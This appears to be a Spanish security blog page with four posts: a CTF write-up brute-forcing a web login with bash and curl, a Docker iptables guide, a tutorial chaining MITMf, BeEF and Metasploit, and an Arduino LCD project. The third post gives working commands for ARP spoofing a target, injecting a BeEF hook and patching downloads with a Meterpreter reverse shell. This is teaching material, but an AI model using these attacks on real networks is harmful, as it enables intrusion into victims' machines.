Follow the white rabbit CTF – Rabbits everywhere

Hoy os traigo un pequeño writteup sobre una prueba que @belane del equipo Follow The White Rabbit abrió ya fuera del CTF pero que estuvo interesante.

Para empezar nos dirigimos a la url: http://challenge.followthewhiterabbit.es:1234/

Y nos encontramos con esto:

Con este source:

Por ahora no nos dice mucho, investigando un poco nos encontramos con un robots.txt:

Interesante, un archivo llamado passwordlist.lst, nos lo descargamos y vemos que contiene 149 passwords, parece que @belane nos lo ha querido poner fácil.

Como se puede ver también tenemos una cookie de sesión así que tendremos que recordar utilizarla en nuestros scripts.

Vamos a comenzar a la vieja usanza con un poco de fuerza bruta:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        cat buff
done

Lo primero que haremos será hacer una llamada inicial que de la cual extraeremos los tokens necesarios para nuestra siguiente llamada y también generaremos un archivo de cookies para mantener la sesión comentada anteriormente.

Una vez ejecutamos ese script las respuestas del servidor irán desfilando por nuestra pantalla, en un punto en concreto me encuentro con que dicho contenido cambia al siguiente:

<h1>Rabbits everywhere</h1></br>
<a href="second.php?action=55e7f1b3e6a0bab1e26eecba960623b3">Next Challenge</a>

Vale, parece que al encontrar la password correspondiente obtenemos un link a la segunda parte, modifiquemos nuestro script para que nos devuelva el contenido del mismo:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
cat buff

Nuevamente lo ejecutamos y vemos que ahora nos aparece un nuevo link:

<h1>Rabbits everywhere</h1></br>
<a href="third.php?action=f8e849377cc41214d7b5341d218ac840">Go for It!</a></br>

Añadimos el siguiente link:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
third=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
cat buff

Y otro link más, pero parece que ya estamos terminando:

<h1>Rabbits everywhere</h1></br>
<a href="final.php?action=7b880e59f9e43fe4b6f479540e4025df">Start final Challenge</a></br>

Veamos que tiene la última prueba añadiendo este último link a nuestro script:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
third=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
final=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff
cat buff

Parece que volvemos a tener un formulario parecido al primero:

<h1>Rabbits everywhere</h1></br>
<a href="final.php?action=7b880e59f9e43fe4b6f479540e4025df">Start final Challenge</a></br>
kalrong@byakko:~/conejos-ctf$ nano finde.sh
kalrong@byakko:~/conejos-ctf$ nano finde.sh
kalrong@byakko:~/conejos-ctf$ ./finde.sh
Found:princesa
<h1>Rabbits everywhere</h1></br>
<form action=final.php method=post>
<input name=token_session type=hidden value=15fa4a7f80ca63b2369a842afd5282ad8c50f87fe64779813b14e077ebbde645>
<input name=token_action type=hidden value=73de0142f5d6879447fd7dbb01f598b7>
<input name=pass_try type=text size=20 placeholder=" last password "> <input type="submit" value="Go !!">
</form>

Vamos a probar con una sola password y ver que nos dice:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
third=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
final=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
curl -s -c cookies.txt -b cookies.txt -X POST --data "token_session=$session&token_action=$token&pass_try=test" 'http://challenge.followthewhiterabbit.es:1234/final.php' > buff
cat buff


Y vemos lo siguiente:

<h1>Rabbits everywhere</h1></br>
Your try: <b>test</b></br>
</br><a href="index.php">Start over</a></br>


Parece que @belane no ha sido tan bueno después de todo. En cuanto fallamos la password en la última parte automáticamente nos manda empezar de nuevo, eso duele.

Curiosamente la sesión de PHP no cambia, vamos a cruzar los dedos y ver si la password que encontramos en el primer formulario se asocia a dicha sesión y podemos reutilizarla:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
done
echo "Found:$found"
second=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
third=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
final=$(cat buff | grep href | cut -f2 -d'"')
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
curl -s -c cookies.txt -b cookies.txt -X POST --data "token_session=$session&token_action=$token&pass_try=test" 'http://challenge.followthewhiterabbit.es:1234/final.php' > buff
curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$found" > buff
cat buff



Por suerte vemos que efectivamente nos devuelve otra vez el link a la segunda web de la prueba, vamos a aprovecharnos de esto y lanzar otra fuerza bruta viendo que nos devuelve la página en cada caso:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
for i in $(cat passwordlist.lst)
do
        curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff
        token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
        if [[ $(grep -c "second.php" buff) -eq 1 ]]
                then found=$i
                break
        fi
 done
 echo "Found:$found"
 second=$(cat buff | grep href | cut -f2 -d'"')
 curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
 third=$(cat buff | grep href | cut -f2 -d'"')
 curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
 final=$(cat buff | grep href | cut -f2 -d'"')
 curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff
 for i in $(cat passwordlist.lst)
 do
         curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff
         token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
         session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
         curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$found" > buff
         second=$(cat buff | grep href | cut -f2 -d'"')
         curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff
         third=$(cat buff | grep href | cut -f2 -d'"')
         curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff
         final=$(cat buff | grep href | cut -f2 -d'"')
         curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final> buff
         token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">")
         session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">")
         curl -s -c cookies.txt -b cookies.txt -X POST --data "token_session=$session&token_action=$token&pass_try=$i" 'http://challenge.followthewhiterabbit.es:1234/final.php' > buff
         cat buff
done




Poco a poco veremos las respuestas del servidor, siempre la misma… ¿habéis visto eso?

<h1>Rabbits everywhere</h1></br>
You Win! - your flag is <b>fwhibbit{rabbit-6nw89BVJuOGNs6TdxfNHUM7rrA+eLg+l6ToSrgTDwkIG}</b> </br><h1>Rabbits everywhere</h1></br>
Your try: <b>987654321</b></br>
</br><a href="index.php">Start over</a></br>

¡Bien! Hemos conseguido nuestra flag utilizando únicamente comandos relativamente básicos de bash. Como veréis no he utilizado ningún regex, se me dan fatal, y me fío más de mi viejo amigo cut.

Como apunte final quiero que os deis cuenta de que este script se ha ido desarrollando a lo largo de la prueba, se puede optimizar muchísimo y podríamos hacer que solamente nos devuelva la flag, lo he dejado así para que podáis ver como funciona paso a paso y como fue el desarrollo que tuve que hacer durante la prueba.

Espero os haya gustado y cualquier duda no dudéis en dejarme un comentario.

Saludos, y como siempre, gracias por vuestra visita!

PD: Para que no se diga de mi, versión en  una sola linea del script:

curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff; token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">"); session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">"); for i in $(cat passwordlist.lst); do         curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$i" > buff;         token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">");         if [[ $(grep -c "second.php" buff) -eq 1 ]];                 then found=$i;                 break;         fi;  done;  echo "Found:$found";  second=$(cat buff | grep href | cut -f2 -d'"');  curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff;  third=$(cat buff | grep href | cut -f2 -d'"');  curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff;  final=$(cat buff | grep href | cut -f2 -d'"');  curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final > buff;  for i in $(cat passwordlist.lst);  do          curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/ > buff;          token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">");          session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">");          curl -s -c cookies.txt -b cookies.txt -X POST 'http://challenge.followthewhiterabbit.es:1234/index.php' --data "token_session=$session&token_action=$token&pass_try=$found" > buff;          second=$(cat buff | grep href | cut -f2 -d'"');          curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$second > buff;          third=$(cat buff | grep href | cut -f2 -d'"');          curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$third > buff;          final=$(cat buff | grep href | cut -f2 -d'"');          curl -s -c cookies.txt -b cookies.txt http://challenge.followthewhiterabbit.es:1234/$final> buff;          token=$(cat buff | grep token_action | cut -f4 -d"=" | cut -f1 -d">");          session=$(cat buff | grep token_session | cut -f4 -d"=" | cut -f1 -d">");          curl -s -c cookies.txt -b cookies.txt -X POST --data "token_session=$session&token_action=$token&pass_try=$i" 'http://challenge.followthewhiterabbit.es:1234/final.php' > buff;          cat buff; done
Publicado en ctf, fwhibbit-ctf, web, writeups | Deja un comentario

Iptables para Docker en un servidor expuesto a internet

Hoy os traigo una pequeña guía para aquellos que queráis instalar Docker en un servidor cuya interfaz de red está expuesta a internet. Debido a las reglas de iptables que Docker configura por defecto cuando utilizamos la opción -p para hacer forward de un puerto sin decirle una interfaz en concreto nos encontraremos con que dicho puerto queda también expuesto a internet, cosa poco deseable en el mayor de los casos.

Para solucionar esto debemos decirle a Docker que no toque nuestras reglas de iptables. En sistemas como Debian que utilizan systemd esto lo conseguiremos ejecutando los siguientes comandos:

mkdir /etc/systemd/system/docker.service.d
cat << EOF > /etc/systemd/system/docker.service.d/noiptables.conf
[Service]
ExecStart=
ExecStart=/usr/bin/docker daemon -H fd:// --iptables=false
EOF
systemctl daemon-reload

Source

Reiniciamos nuestras iptables utilizando iptables-restore por ejemplo, reiniciamos Docker y veremos que ya no genera la tabla Docker ni ninguna otra tabla. Pero, y siempre existe un pero, esto ha dejado nuestros containers sin acceso a internet.

El primer paso para solucionar esto será activar el forwarding si no lo tenemos ya:

sysctl -w net.ipv4.ip_forward=1

Y ahora añadiremos las siguientes reglas de iptables:

iptables -A FORWARD -i docker0 -o eth0 -j ACCEPT
iptables -A FORWARD -i eth0 -o docker0 -j ACCEPT

Esto permitirá que el tráfico llegue a los containers pero el problema vendrá en que no sabrán que hacer con la respuesta, para ello necesitaremos añadir una regla con MASQUERADE, si utilizáis el rango por defecto de Docker la regla se vería así:

iptables -t nat -A POSTROUTING -s 172.17.0.0/24 -o eth0 -j MASQUERADE

Esto deberéis hacerlo para cada segmento de red que utilicéis en Docker y queráis que tenga acceso a internet.

Con esto ya podéis abrir y cerrar puertos de la forma habitual en vuestro servidor sin que Docker los abra por su cuenta.

Wazuh

Este problema me lo encontré revisando mi instalación de Wazuh, el problema vino en que cuando realice los anteriores cambios los clientes dejaron de ser capaces de conectarse a Wazuh.

El problema viene de que Wazuh ve que la ip de origen es la de nuestro servidor en lugar de nuestro cliente debido al MASQUERADE y al no coincidir con ningún cliente rechaza los paquetes.

La única solución que he encontrado hasta ahora para esto es ha sido quitar los clientes y volver a registrarlos utilizando any como ip de tal manera que Wazuh acepte cualquier ip de origen para dicho cliente.

Recordad que para que los containers tengan internet, si habéis utilizado el docker-compose, necesitais añadir el MASQUERADE para la red correspondiente, en mi caso 172.17.0.0/24.

Espero os haya gustado y os salve de algún susto como el que yo me lleve al ver mis containers expuesto a internet a pesar de mi arduo trabajo con iptables para que esto no sucediera, pero de todo se aprende.

Saludos, y como siempre, gracias por vuestra visita!

Publicado en docker, tutorial, wazuh | Deja un comentario

Combinando MITMf+Beef+Metasploit

En el post de hoy vamos a ver como podemos combinar estas tres herramientas que seguramente ya conozcáis de forma individual.

Aquí os dejo sus respectivos repositorios para que os los podáis instalar, están muy bien documentados así que no me voy a parar en este punto:

Este es un pequeño diagrama sobre como funcionaría el ataque:

+---------+
|         |
| Victim  <--------------------------------+
|         |                                |
+----+----+                                |
     |                                     |
     |                                     |
+----v----+                          +-----+-----+
|         |                          |           |
|  MIMf   +-------------------------->   Beef    |
|         <--------------+           |           |
+----+----+              |           +-----^-----+
     |                   |                 |
     |                   |                 |
+----v----+         +----+------+          |
|         |         |           |          |
| Internet|         | Metasploit ----------+
|         |         |           |
+---------+         +-----------+

Una explicación rápida sería:

  1. Equipo victima intenta salir a Internet pero, sea por el método que sea, MITMf intercepta el tráfico.
  2. MITMf inyecta el payload de Beef en el caso de websites o infecta archivos que vayan por HTTP utilizando Metasploit.
  3. Una vez el navegador este infectado Beef nos permite lanzar diferentes exploits, entre ellos una colección cargada directamente desde Metasploit.

Para poder combinar con éxito estas tres herramientas debemos hacer ciertos cambios en sus configuraciones por defecto y ejecutarlas en un orden determinado. La primera que debemos arrancar sera metasploit.

Para ayudarnos en futuras automatizaciones crearemos un archivo llamado “rpc-init.rc” y que contendrá la siguiente linea:

load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123

Y se lo pasamos en el arranque a Metasploit de la siguiente manera:

msfconsole -r rpc-init.rc

Esto lo que hace es arrancar el servidor RPC de Metasploit que utilizarán luego MITMf y Beef para comunicarse con el mismo. Fijarse bien en que no he activado el SSL ya que MITMf no lo soporta, pero Beef si, en caso de que solo utilicéis este último podéis activar el SSL simplemente añadiendo SSL=y al final de la linea de rpc-init.rc.

Una vez tengamos a Metasploit escuchando el siguiente en arrancar sera Beef, pero antes debemos activar el soporte para Metasploit, para ello debemos modificar dos archivos.

El primero será config.yaml que estará situado en la carpeta principal de beef, iremos a la sección extensions y la dejaremos de la siguiente manera:

 extension:
        requester:
            enable: true
        proxy:
            enable: true
            key: "beef_key.pem"
            cert: "beef_cert.pem"
        metasploit:
            enable: true
        social_engineering:
            enable: true
        evasion:
            enable: false
        ipec:
            enable: true
        # this is still experimental..
        dns:
            enable: false
        # this is still experimental..
        dns_rebinding:
            enable: false

Aquí la opción más importante es la de Metasploit, el resto podéis activar o desactivar a vuestro gusto.

Ahora pasaremos al siguiente archivo config.yaml que estará en la ruta extensions/metasploit/ dentro de nuestra carpeta de beef nuevamente. Comprobamos que la configuración sea la correcta:

beef:
    extension:
        metasploit:
            name: 'Metasploit'
            enable: true
            # Metasploit msgrpc connection options
            host: "127.0.0.1"
            port: 55552
            user: "msf"
            pass: "abc123"
            uri: '/api'
            ssl: false
            ssl_version: 'TLS1'
            ssl_verify: true
            # Public connect back host IP address for victim connections to Metasploit
            callback_host: "127.0.0.1"
            # URIPATH from Metasploit Browser AutoPwn server module
            autopwn_url: "autopwn"
            # Start msfrpcd automatically with BeEF
            auto_msfrpcd: false
            auto_msfrpcd_timeout: 120
            msf_path: [
              {os: 'osx', path: '/opt/local/msf/'},
              {os: 'livecd', path: '/opt/metasploit-framework/'},
              {os: 'bt5r3', path: '/opt/metasploit/msf3/'},
              {os: 'bt5', path: '/opt/framework3/msf3/'},
              {os: 'backbox', path: '/opt/backbox/msf/'},
              {os: 'kali', path: '/usr/share/metasploit-framework/'},
              {os: 'pentoo', path: '/usr/lib/metasploit'},
              {os: 'win', path: 'c:\\metasploit-framework\\'},
              {os: 'custom', path: ''}
            ]

Aquí debemos asegurarnos de ciertas cosas, la primera es que la opción ssl esté en false ya que no lo utilizaremos por lo que comente anteriormente. Por el resto simplemente comprobaremos que tanto las credenciales como los datos de conexión se corresponden con los de nuestro Metasploit, todo debería estar correcto por defecto pero nunca está de más revisarlo.

Ahora arrancamos beef de forma normal desde la carpeta principal:

./beef

Una vez que termine de arrancar ya tenemos nuestro “backend” listo, lo llamo backend porque serán las aplicaciones en las que nos apoyemos mayormente durante la post-explotación siendo MITMf la principal aplicación atacante.

Antes de poder arrancar MITMf debemos modificar su archivo de configuración para que se adapte a nuestras necesidades, este archivo se encuentra dentro de la carpeta de MITMf en la ruta config/ y se llama mitmf.conf.

Está sea quizás la parte más compleja de configurar ya que MITMf utilizará diferentes payloads dependiendo del sistema de la victima.

El primer, y cambio más importante, es que en la sección [FilePwn][[Targets]] de dicho archivo cambiemos todas las variables HOST para que apunten a nuestro equipo.

Ahora viene la parte compleja, como no existe un payload universal debemos definir el que prefiramos y el puerto en el que escuchará en cada caso, vamos a ver un ejemplo para windows x86:

[[[[WindowsIntelx86]]]]
                        PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
                        # PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke
                        PATCH_METHOD = automatic
                        HOST = 10.0.0.1
                        PORT = 8090
                        # SHELL for use with automatic PATCH_METHOD
                        SHELL = iat_reverse_tcp_stager_threaded
                        # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload
                        SUPPLIED_SHELLCODE = None
                        ZERO_CERT = True
                        # PATCH_DLLs as they come across
                        PATCH_DLL = False
                        # RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable
                        RUNAS_ADMIN = False
                        # XP_MODE  - to support XP targets
                        XP_MODE = True
                        # SUPPLIED_BINARY is for use with PATCH_METHOD 'onionduke' DLL/EXE can be x64 and
                        #  with PATCH_METHOD 'replace' use an EXE not DLL
                        SUPPLIED_BINARY = veil_go_payload.exe
                        MSFPAYLOAD = windows/meterpreter/reverse_tcp

Está sería la configuración por defecto donde solamente he cambiado la variable HOST para que apunte a mi máquina y vemos al final del todo que el payload a utilizar sera windows/meterpreter/reverse_tcp y que el puerto al que se intentará conectar sera el 8090. En ciertos casos como meterpreter sí que podemos apuntar diversos targets al mismo puerto ya que soportaría conexiones de Windows x86 y x64 pero por ejemplo no soportaría un equipo Linux, con lo cual necesitaríamos utilizar un puerto distinto.

Una vez tengamos todo configurado a nuestra manera y antes de arrancar MITMf, sería recomendable que arrancásemos en Metasploit los handlers necesarios, para el caso anterior; y en el caso de que solo fuéramos a atacar Windows podríamos aprovechar el msfconsole que ya tenemos abierto y ejecutar lo siguiente:

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 8090
exploit -j

Como veis las opciones LHOST y LPORT se corresponden con las que configuramos en MITMf, con esto ya tendremos a nuestro Metasploit esperando a que MITMf infecte algún archivo y nuestra victima lo ejecute.

MITMf soporta muchos métodos de ataque, desde dejarlo a el hacer todo el trabajo realizando diversos ataques de poisoning hasta simplemente redireccionando el tráfico que deseemos a un puerto a la escucha, aquí voy a tirar de RTFM y os animo a que investiguen las distintas opciones para ver cual se ajusta más a vuestras necesidades.

Ahora bien, existen dos opciones que necesitamos pasarle a MITMf independientemente del tipo de ataque para poder sacar partido a todo este trabajo que hemos realizado hasta ahora, estas opciones son:

--filepwn --inject --js-url http://10.0.0.1:3000/hook.js

En este caso debéis modificar la opción js-url por la URL donde está vuestro beef sirviendo el archivo hook.js, estas URL’s podéis encontrarlas en la consola donde arrancasteis beef ya que por defecto escucha en todas las interfaces.

Aquí os dejo un ejemplo de como se podría lanzar MITMf utilizando estas opciones y realizando un ataque ARP spoof sobre una máquina en concreto:

./mitmf.py --spoof --arp -i wlp2s0 --gateway 10.0.2.1 --target 10.0.2.15 --filepwn --inject --js-url http://10.0.0.1:3000/hook.js

Como nota final sobre MITMf deciros que vais a necesitar ejecutarla con permisos de root porque sino probablemente ni os arranque.

Espero os haya gustado esta guía y como siempre, cualquier duda o sugerencia dejadme un comentario 🙂

Saludos y gracias por vuestra visita!

Publicado en beef, Metasploit, MITMf, tools, tutorial | Deja un comentario

Controlar script de python desde Arduino LCD Shield+Arduino UNO

Hoy dejo un poco de lado los tutoriales sobre bash para traeros un pequeño DIY que surgió a raíz de la caja de The Hackers Garage que gané durante el CTF de la gente de Follow The White Rabbit.

En esta caja uno de los proyectos que incluía era la posibilidad de conectar un shield de Arduino, que traía una pantalla 16×2 LCD y botones, a una Orange pi y controlar la ejecución de un script de python utilizando la LCD y sus botones.

La mayor diferencia entre sus instrucciones y lo que hoy os traigo es que yo he acoplado el shield a un Arduino UNO ¿Qué significa esto? Pues que me olvido de tener que usar los GPIO de la Orange Pi y en cambio he conseguido una pantalla que se comunica a través del USB/Serial con cualquier dispositivo que lo soporte.

Antes de comenzar recordaros que no soy experto ni en Arduino ni en Python con lo cual el código que os presento a continuación es muy, muy mejorable; pero funciona jeje

Comencemos con el código del Arduino:

#include <LiquidCrystal.h>

LiquidCrystal lcd(8, 9, 4, 5, 6, 7);           // Seleccionamos los pines que utiliza la pantalla LCD

//Definimos algunos valores que usaran el panel y los botones
int adc_key_in  = 0;

#define btnRIGHT  0
#define btnUP     1
#define btnDOWN   2
#define btnLEFT   3
#define btnSELECT 4
#define btnNONE   5

//Estas variables nos ayudaran a controlar el input de los botones
int button_count=0;
int button_last=0;


int read_LCD_buttons(){               // Funcion para leer el input de los botones
    adc_key_in = analogRead(0);       // Leemos el valor del sensor

    //Estos valores son aproximados de los resultados que me envia el sensor.
    //No deberiais necesitar cambiarlos.
    if (adc_key_in > 1000) return btnNONE; 

    if (adc_key_in < 50)   return btnRIGHT;  
    if (adc_key_in < 250)  return btnUP; 
    if (adc_key_in < 450)  return btnDOWN; 
    if (adc_key_in < 650)  return btnLEFT; 
    if (adc_key_in < 850)  return btnSELECT;  

    return btnNONE;                // Cuando nos se cumple ninguno, enviamos este
}

void setup(){
   lcd.begin(16, 2);               // Inicializamos la pantalla LCD
   Serial.begin(9600);             // Inicializamos el puerto serie
   Serial.setTimeout(100);         // Reducimos el timeout del puerto serie para reducir el lag, quizás querais ajustarlo
}
 
void loop(){
  // En caso de que se haya recibido algo por el puerto serie
  if (Serial.available()) {          
    // Leemos el contenido en el buffer a un String, si no hemos modificado el timeout esto tarda 2.5 segundos                               
    String buff = Serial.readString();                              
    if (buff == "clear_lcd") {
      // Si recibimos la orden "clear_lcd" borramos la pantalla
      lcd.clear();                                                  
    } else {
      // Localizamos el separador ","
      int commaIndex = buff.indexOf(',');  
      // Extraemos el mensaje a imprimir                         
      String message = buff.substring(0,commaIndex);    
      // Extraemos la linea en que queremos escribir el mensaje             
      int lcd_line = buff.substring(commaIndex+1).toInt();   
      // Movemos el cursos a la linea que deseamos       
      lcd.setCursor(0,lcd_line);   
      // Imprimimos el mensaje                                 
      lcd.print(message);                                           
    }
  }
  // Llamamos a la funcion para ver si se ha pulsado algun boton
  int button_pressed=read_LCD_buttons();        
  // En mi caso una pulsacion del boton enviaba aproximadamente 1000 el mismo resultado
  // para contabilizar una pulsacion y no 1000 utilizamos ciertas variables para controlarlo
  // En caso de que el boton sea igual que el anterior, se haya pulsado 1200 veces y no sea 5/Ninguno                                        
  if (button_pressed == button_last && button_count == 1200 && button_pressed != 5){   
    // Enviamos el digito correspondiente al boton pulsado
    Serial.println(button_pressed);
    // Esperamos a que se limpie el buffer
    Serial.flush(); 
    // Reinicializamos el contador de pulsaciones
    button_count = 0;
  } else if (button_pressed == button_last && button_pressed != 5){
    // Si el boton es el mismo que se pulso anteriormente y no es 5/Ninguno, contamos una pulsacion
    button_count+=1;
  } else {
    // Si no se cumple nada de lo anterior reiniciamos el contador
    button_count = 0;
  }
  // Guardamos cual fue el ultimo boton pulsado para el siguiente ciclo
  button_last=button_pressed;
}

He intentado comentarlo lo mejor posible para que se entienda pero cualquier duda no dudéis en dejarme un comentario.

Básicamente este script se divide en dos partes: input y output.

En la parte de input, que correspondería a la LCD, el Arduino esta escuchando en el puerto serial por un String con el formato “mensaje,linea”, o bien, el comando “clear_lcd” para limpiar la pantalla.

Para el output el Arduino lee en cada ciclo el sensor analógico al que está enchufada la botonera y utiliza unos thresholds (que pueden variar en vuestro caso) para identificar que botón se ha pulsado. El mayor problema que me encontré en esta parte fue que una pulsación no se correspondía a un cambio único en el sensor, sino que varios ciclos ocurrían mientras yo pulsaba el botón haciendo que pareciese que estaba machacandolo en lugar de hacer una única pulsación, en mi caso el threshold con el que quedé más contento fue 1200, pero quizás queráis ajustarlo a vuestro gusto pero, recordad, a menos número, mayor sensibilidad.

